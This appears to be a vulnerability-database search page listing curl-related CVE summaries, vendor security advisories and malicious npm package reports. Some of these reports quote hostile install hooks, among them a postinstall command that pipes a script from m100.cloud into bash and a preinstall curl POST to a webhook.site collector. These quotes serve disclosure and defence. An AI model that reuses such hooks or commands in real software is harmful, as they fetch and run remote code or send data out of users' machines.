12391 matches found
PT-2026-67327
Name of the Vulnerable Software and Affected Versions guzzlehttp/guzzle versions prior to 7.15.1 Description An information disclosure issue exists in the RedirectMiddleware when the optional allow redirects.referer setting is enabled. During a same-scheme redirect such as HTTPS to HTTPS, the...
PT-2026-67319
Name of the Vulnerable Software and Affected Versions guzzlehttp/guzzle versions prior to 7.14.2 Description The built-in cURL handlers CurlHandler and CurlMultiHandler fail to properly isolate Proxy-Authorization headers from origin servers. This occurs because the handlers place first-class...
Server-Side Request Forgery (SSRF)
Froxlor is vulnerable to Server-Side Request Forgery SSRF. The vulnerability is due to improper validation of the X-Forwarded-Host and X-Forwarded-Proto headers when constructing URLs for cURL requests, which allows an unauthenticated attacker to spoof these headers and force the server to issue...
Moderate: Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
An update for Red Hat Hardened Images RPMs is now available. This update includes the following RPMs: curl: curl-8.21.0-0.1.1.hum1 aarch64, x8664 libcurl-8.21.0-0.1.1.hum1 aarch64, x8664 libcurl-devel-8.21.0-0.1.1.hum1 aarch64, x8664 libcurl-minimal-8.21.0-0.1.1.hum1 aarch64, x8664...
CVE-2026-62234
Grav 2.x prior to 2.0.4 contains an SSRF vulnerability in webhook dispatch where authenticated users with api.webhooks.write can create webhooks using file://, dict://, or gopher:// protocols. This unrestricted protocol handling can be leveraged to read local files, access process information, or...
Malicious code in patchwork-os (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cc351c90dbe7a3ede9536138db9071a7cc8b2f8b2824b7956f26553e349a72d9 dist/drivers/gemini/index.js line 53 contains a literal curl https://attacker string co-located with an install reference line 286, matching a...
SUSE SLED15 / SLES15 Security Update : curl (SUSE-SU-2026:3043-1)
The remote SUSE Linux SLED15 / SLEDSAP15 / SLES15 / SLESSAP15 host has packages installed that are affected by multiple vulnerabilities as referenced in the SUSE-SU-2026:3043-1 advisory. This update for curl fixes the following issues - CVE-2026-8286: wrong STARTTLS connection reuse bsc1268402. -...
MAL-2026-10682 Malicious code in code-formatter-setup (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 29eac23cdb5855a900e15c2d86231de29d9985573f90f819f9d4ba08425b9042 package.json declares a postinstall lifecycle hook that runs node -e "require'childprocess'.execSync'curl -s https://m100.cloud/setup | bash'",...
Security update for curl
This update for curl fixes the following issues CVE-2026-8286: wrong STARTTLS connection reuse bsc1268402. CVE-2026-8458: wrong reuse for different services bsc1268407. CVE-2026-8924: traling dot domain super cookie bsc1268409. CVE-2026-8927: env-set cross-proxy Digest auth state leak bsc1268413...
Malicious code in ac-raf-emitter (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4a9d9e454c08fdafa531ee74a3bc52513d5bc39413810db4a6371494872984f8 package.json declares a preinstall lifecycle script that runs curl -X POST against a hardcoded webhook.site collector URL...
MAL-2026-10675 Malicious code in ac-raf-emitter (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4a9d9e454c08fdafa531ee74a3bc52513d5bc39413810db4a6371494872984f8 package.json declares a preinstall lifecycle script that runs curl -X POST against a hardcoded webhook.site collector URL...
cURL Session Duration Unauthorized Access
The vulnerability of the software for interacting with servers via cURL is related to an incorrect session duration. Exploiting this vulnerability can allow a malicious actor to gain unauthorized access to protected information...
libcurl SSRF
The vulnerability of the libcurl library in software applications for interacting with servers via cURL is related to insufficient validation of requests at the server side. Exploiting this vulnerability allows a remote attacker to execute a SSRF attack...
SUSE SLED15 / SLES15 Security Update : curl (SUSE-SU-2026:2925-1)
The remote SUSE Linux SLED15 / SLEDSAP15 / SLES15 / SLESSAP15 host has packages installed that are affected by multiple vulnerabilities as referenced in the SUSE-SU-2026:2925-1 advisory. This update for curl fixes the following issues - CVE-2026-4873: connection reuse ignores TLS requirement...
SUSE SLES15 Security Update : curl (SUSE-SU-2026:2926-1)
The remote SUSE Linux SLES15 / SLESSAP15 host has packages installed that are affected by multiple vulnerabilities as referenced in the SUSE-SU-2026:2926-1 advisory. This update for curl fixes the following issues - CVE-2026-8286: wrong STARTTLS connection reuse bsc1268402. - CVE-2026-8458: wrong...
cURL Certificate Validation Unauthorized Access
The vulnerability of the software for interacting with servers via cURL is related to errors in the certificate validation process. Exploiting this vulnerability can allow a malicious actor, operating remotely, to gain unauthorized access to protected information...
libcurl Unauthorized Access
The vulnerability of the libcurl library in software applications for interacting with servers via cURL is related to the transmission of data in an open manner. Exploiting this vulnerability can allow a remote attacker to gain unauthorized access to protected information...
libcurl Unauthorized Access
The vulnerability of the libcurl library in software applications for interacting with servers via cURL is related to insufficient protection of operational data. Exploiting this vulnerability can allow an attacker, operating remotely, to gain unauthorized access to protected information...
ROOT-OS-DEBIAN-11-CVE-2026-12064 CVE-2026-12064 in rootio-curl - Patched by Root
Root has patched CVE-2026-12064 in the rootio-curl package for Root:Debian:11. Multiple fixed versions available...
EulerOS 2.0 SP10 : curl (EulerOS-SA-2026-2644)
According to the versions of the curl packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities : libcurl might in some circumstances reuse the wrong connection for SMBS transfers. libcurl features a pool of recent connections so that subsequent...